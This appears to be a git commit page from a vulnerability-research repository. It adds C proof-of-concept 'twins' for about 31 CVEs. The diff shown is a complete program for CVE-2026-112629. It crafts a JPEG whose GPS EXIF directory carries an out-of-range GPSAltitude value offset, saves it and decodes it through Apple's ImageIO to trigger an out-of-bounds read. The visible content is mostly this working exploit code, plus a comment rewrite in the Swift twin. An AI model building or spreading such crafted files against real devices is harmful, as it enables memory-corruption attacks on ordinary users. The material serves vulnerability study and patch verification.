v2.0 — 31 C POC twins + harness fixes
- 31 C POC files, one per CVE folder: full seed construction + trigger + main(), self-contained, no app dependency. All compile clean with clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded oracle on this host. - CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the mechanism behind the cm.rpu death oracle on the simulator build. - Harness fixes: glyphCount guard, MachOInspector size guard, ModTools clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display. - POC comments rewritten English-only (31 swift + arc.rr + 5 py). - README (en/zh): C twin column, .c anatomy section, compile/run examples, C oracle verification status. - Dead if-let binding removed from Identity summary; v2.0 build 3.
This commit is contained in:
JBJF committed
1 parent
1ea76ab005
commit
7949c7ce9f
79 files changed
+4109
-892
No files matched your search
@@ -0,0 +1,105 @@
|
||||
// iio.jpeg.gps · ImageIO · GPSCopy::processData · CVE-2026-112629
|
||||
// GPS IFD out-of-bounds value offset
|
||||
// C twin of the Swift POC: builds the GPS-oob JPEG and decodes it through ImageIO.
|
||||
// Build: clang -O2 -o cve-2026-112629 CVE-2026-112629.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation
|
||||
// Run: ./cve-2026-112629 [delta]
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
// ── byte buffer ──
|
||||
typedef struct { uint8_t *d; size_t n, cap; } buf;
|
||||
static void bneed(buf *b, size_t extra) {
|
||||
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
|
||||
}
|
||||
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
|
||||
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
|
||||
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
|
||||
|
||||
static void be16(buf *b, uint16_t v) { bput(b, v >> 8); bput(b, v & 0xff); }
|
||||
static void be32(buf *b, uint32_t v) {
|
||||
bput(b, v >> 24); bput(b, (v >> 16) & 0xff); bput(b, (v >> 8) & 0xff); bput(b, v & 0xff);
|
||||
}
|
||||
|
||||
// ── seed construction (from Cinder27 Sources: JPEGPayload.exifGPSOutOfBounds) ──
|
||||
static buf jpeg_gps_oob(uint32_t delta) {
|
||||
// big-endian TIFF: IFD0 → GPSInfoIFDPointer → GPS IFD with an out-of-range value offset
|
||||
buf tiff = {0};
|
||||
bcat(&tiff, "MM\x00\x2a", 4);
|
||||
be32(&tiff, 8); // IFD0 at 8
|
||||
be16(&tiff, 1); // 1 entry
|
||||
be16(&tiff, 0x8825); // GPSInfoIFDPointer
|
||||
be16(&tiff, 4); // LONG
|
||||
be32(&tiff, 1);
|
||||
be32(&tiff, 26); // GPS IFD at 26
|
||||
be32(&tiff, 0); // next IFD
|
||||
// GPS IFD: 2 entries
|
||||
be16(&tiff, 2);
|
||||
be16(&tiff, 0x0000); // GPSVersionID, BYTE
|
||||
be16(&tiff, 1); // count
|
||||
be32(&tiff, 4);
|
||||
bcat(&tiff, "\x02\x03\x00\x00", 4); // inline value
|
||||
be16(&tiff, 0x0006); // GPSAltitude, RATIONAL
|
||||
be16(&tiff, 5);
|
||||
be32(&tiff, 1);
|
||||
be32(&tiff, 26 + 18 + delta); // value offset far past the blob
|
||||
be32(&tiff, 0);
|
||||
|
||||
buf out = {0};
|
||||
bcat(&out, "\xff\xd8", 2); // SOI
|
||||
// APP1 "Exif\0\0" + tiff
|
||||
uint32_t app1_len = 6 + (uint32_t)tiff.n + 2;
|
||||
bcat(&out, "\xff\xe1", 2);
|
||||
bput(&out, app1_len >> 8); bput(&out, app1_len & 0xff);
|
||||
bcat(&out, "Exif\x00\x00", 6);
|
||||
bcat(&out, tiff.d, tiff.n);
|
||||
bcat(&out, "\xff\xd9", 2); // EOI
|
||||
bfree(&tiff);
|
||||
return out;
|
||||
}
|
||||
|
||||
// ── trigger: decode through ImageIO ──
|
||||
#include <ImageIO/ImageIO.h>
|
||||
#include <CoreGraphics/CoreGraphics.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
static int decode_image(const buf *img, const char **detail) {
|
||||
CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n);
|
||||
if (!cf) { *detail = "CFDataCreate failed"; return -1; }
|
||||
CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL);
|
||||
CFRelease(cf);
|
||||
if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; }
|
||||
size_t frames = CGImageSourceGetCount(src);
|
||||
// the metadata walk is where GPSCopy::processData reads the oob offset
|
||||
CFDictionaryRef props = CGImageSourceCopyPropertiesAtIndex(src, 0, NULL);
|
||||
CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL);
|
||||
static char r[256];
|
||||
if (cg) {
|
||||
snprintf(r, sizeof r, "decoded %zu x %zu, %zu frame(s), properties %s",
|
||||
(size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames,
|
||||
props ? "present" : "absent");
|
||||
CGImageRelease(cg);
|
||||
} else {
|
||||
snprintf(r, sizeof r, "decode refused at index 0 (%zu frame(s) declared)", frames);
|
||||
}
|
||||
if (props) CFRelease(props);
|
||||
CFRelease(src);
|
||||
*detail = r;
|
||||
return cg ? 0 : -1;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
uint32_t delta = argc > 1 ? (uint32_t)strtoul(argv[1], NULL, 0) : 0x10000;
|
||||
|
||||
buf jpeg = jpeg_gps_oob(delta);
|
||||
FILE *f = fopen("gps_oob.jpg", "wb");
|
||||
if (f) { fwrite(jpeg.d, 1, jpeg.n, f); fclose(f); }
|
||||
|
||||
const char *detail = NULL;
|
||||
int rc = decode_image(&jpeg, &detail);
|
||||
printf("CVE-2026-112629 · GPSAltitude offset delta +0x%x · %s\n", delta, detail ? detail : "?");
|
||||
printf("seed: gps_oob.jpg (%zu B) · exit code %d\n", jpeg.n, rc);
|
||||
bfree(&jpeg);
|
||||
return rc == 0 ? 0 : 1;
|
||||
}
|
||||
@@ -1,22 +1,8 @@
|
||||
// iio.jpeg.gps · ImageIO · GPSCopy::processData · CVE-2026-112629
|
||||
// 原语: OOB 读 · 进程内 · tier 2
|
||||
// Primitive: OOB read · in-process · tier 2
|
||||
//
|
||||
// [zh] GPS IFD 值偏移越界
|
||||
// GPS-IFD 遍历使用裸指针解引用与一个未检查的 read32。当条目值偏移指向 GPS 块之外时，读取直接越界。27.2 将全部访问重写为 checkCapacity / checkInitializedLength
|
||||
// / pointerToOffset / read32Unchecked，违规时抛出 OutOfBounds 异常。
|
||||
//
|
||||
// [en] GPS IFD value offset out of bounds
|
||||
// The GPS-IFD walk uses raw pointer dereferences plus one unchecked read32. When an entry's value
|
||||
// offset points outside the GPS block the read goes straight out of bounds. iOS 27.2 rewrites every
|
||||
// access through checkCapacity / checkInitializedLength / pointerToOffset / read32Unchecked and throws
|
||||
// OutOfBounds on violation.
|
||||
// ── 判别 / oracle ──
|
||||
// GPSAltitude 的 RATIONAL 偏移指向 +0x10000 处。
|
||||
|
||||
// GPS IFD value offset out of bounds
|
||||
import Foundation
|
||||
|
||||
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
|
||||
// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
|
||||
enum B {
|
||||
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
|
||||
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
|
||||
@@ -37,7 +23,7 @@ enum B {
|
||||
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
|
||||
}
|
||||
|
||||
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (JPEGPayload) ──
|
||||
// ── seed construction (from Cinder27 Sources: JPEGPayload) ──
|
||||
enum JPEGPayload {
|
||||
static func exifGPSOutOfBounds(delta: Int = 0x10000) -> Data {
|
||||
var tiff = Data()
|
||||
|
||||
Reference in new issue
Block a user